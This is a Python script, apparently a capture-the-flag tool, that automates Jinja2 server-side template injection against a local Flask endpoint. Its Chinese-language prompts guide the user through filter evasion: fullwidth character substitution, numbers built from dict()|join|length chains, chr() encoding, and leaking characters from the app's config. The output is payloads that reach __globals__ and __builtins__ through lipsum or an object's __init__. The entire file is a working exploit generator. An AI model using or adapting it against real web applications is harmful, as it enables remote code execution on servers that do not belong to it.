import requests url = "http://localhost:5000/demo?name={}{{% print (config|string|list).pop({}).lower() %}}" payload = "please input you payload" result = "" class round3_multi: res = "0" ret = "1" count = 0 def __init__(self, count): self.start(count) count = eval(self.ret) - count self.count = count self.bbb(count) self.ccc() def start(self, te): col = 0 while 5**col < te: col += 1 self.ret += "*5" def aaa(self, te): t = te if t >= 5: t = te // 5 self.res = self.res + "*5" self.aaa(t) def bbb(self, ccc): t = self.count - eval(self.res) if t >= 5: self.res = self.res + "+1" self.aaa(t) self.bbb(t) def ccc(self): t = self.count - eval(self.res) for i in range(0, t): self.res = self.res + "+1" def result(self): self.res = self.ret + self.res[1:].replace("+", "-") self.res = self.res.replace("1", "a") self.res = self.res.replace("5", "e") return self.res def findiff(tem, obj): stop = 0 if tem == obj: return "like" if tem.__len__() != obj.__len__(): return "No!" for i in range(0, obj.__len__()): if tem[i] != obj[i]: return obj[i] def B2Q(longuchar): ret = '' for uchar in longuchar: inside_code = ord(uchar) if inside_code < 0x0020 or inside_code > 0x7e: # 不是半角字符就返回原来的字符 return uchar if inside_code == 0x0020: # 除了空格其他的全角半角的公式为: 半角 = 全角 - 0xfee0 inside_code = 0x3000 else: inside_code += 0xfee0 ret = ret + str(chr(inside_code)) return ret def SetC(longuchar): if int(longuchar) == 0: ccc = '' else: ccc = 'c' * int(longuchar) + '=z' ret = "dict({})|join|length".format(ccc) return ret def round1(choose): global url global payload global result temp = requests.get(url.format("", 1)) attack = "" for i in range(0, 100): if choose == 0: attack = i elif choose == 1: attack = B2Q(str(i)) elif choose == 2: attack = SetC(str(i)) temp = requests.get(url.format("", attack)) print(temp.url) print("--------------------") print(temp.text) print("--------------------") print("是否可以当作模板:1.是;2.不是 (模板中的会发生变换的字符不应包含payload中的字符)") if int(input()) == 1: break for j in payload: for i in range(0, 100): if choose == 0: attack = i elif choose == 1: attack = str(B2Q(str(i))) elif choose == 2: attack = SetC(str(i)) r = requests.get(url.format("", attack)) if findiff(temp.text, r.text) == j.lower(): print("(config|string|list).pop({}).lower() == {}".format(attack, j)) result += "(config|string|list).pop({}).lower()~".format(attack) break result = result[:len(result) - 1] def round2(): global payload global result result = B2Q(payload) def round3(): global url global payload global result url_first = "{% set e=dict(ccccc=z)|join|length %}{% set a=dict(c=z)|join|length %}" temp = requests.get(url.format("", 1)) attack = "" for i in range(0, 100): t = round3_multi(i) attack = t.result() temp = requests.get(url.format(url_first, attack)) print(temp.url) print("--------------------") print(temp.text) print("--------------------") print("是否可以当作模板:1.是;2.不是 (模板中的会发生变换的字符不应包含payload中的字符)") if int(input()) == 1: break for j in payload: for i in range(0, 1000): t = round3_multi(i) attack = t.result() r = requests.get(url.format(url_first, attack)) if findiff(temp.text, r.text) == j.lower(): print("(config|string|list).pop({}).lower() == {}".format(attack, j)) result += "(config|string|list).pop({}).lower()~".format(attack) break result = url_first+"\n"+result[:len(result) - 1] def round4(choose): global payload global result if choose == 0: for i in payload: result += "chr("+str(ord(i))+")%2b" else: for i in payload: result += "chr("+B2Q(str(ord(i)))+")%2b" result = result[:-3] def round1_init(): print("数字是否被过滤?1.是;2.不是") if int(input()) == 1: print( "1.数字转全角\n2.数字由”{% set c=dict(c=z)|join|length %}“代替,不进行乘法运算\n3.数字由”{% set c=dict(c=z)|join|length %}“代替,乘法运算") choose1 = int(input()) if choose1 == 1: round1(1) elif choose1 == 2: round1(2) elif choose1 == 3: round3() else: round1(0) print("1.关键字符被过滤\n2.半角字符转全角字符\n3.字符转chr()\n4.构造chr()函数") choose = int(input()) if choose == 1: round1_init() elif choose == 2: round2() elif choose == 3: print("是否使用全角数字?1.是;2.不是") if int(input()) == 1: round4(1) else: round4(0) elif choose == 4: payload = "_" print("注意模板中的会发生变换的字符不应包含\"_\"") round1_init() temp1 = "{% set uli="+result+" %}" result1 = temp1+"{% set chr=(lipsum|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}" result2 = temp1+"{% set chr=(q|attr((uli,uli,dict(init=a)|join,uli,uli)|join())|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}" result = "二选一\n--------------------\n"+result1+"\n--------------------\n"+result2+"\n--------------------\n" print(result)